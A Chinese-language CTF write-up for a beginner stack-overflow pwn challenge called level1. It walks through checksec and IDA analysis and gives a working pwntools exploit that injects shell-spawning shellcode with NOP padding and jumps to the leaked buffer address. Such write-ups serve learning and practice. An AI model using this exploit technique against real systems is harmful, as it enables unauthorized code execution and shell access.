题目地址:请看pwn栈溢出基础练习题——1 ;放了本博客的所有练习题目
pwn1
先checksec看下,发现什么保护都没开,爽歪歪
将level1导入ida,发现buf里ebp只有0x88,但却可写入0x100,明显存在栈溢出
并发现并不存在直接的后门函数,由于这题关掉了栈不可执行,则可以自己构造shellcode
思路直接往buf中存入shellcode,然后通过溢出操作执行这段shellcode即可
先动态调试看看溢出空间
则构造shellcode和垃圾数据为136+4=140字节空间,返回地址就为buf地址,由于开启了ASLR,buf地址会变动,但程序中直接给我们打印了buf的地址,非常Nice!!
编写exp.py
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode = asm(shellcraft.sh())
io = process('./level1')
text = io.recvline()[14: -2]
buf_addr = int(text, 16)
payload = shellcode + b'\x90' * (140 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
\x90:相当于空指令,即使执行到此命令也不会报错,适合填充垃圾字符时使用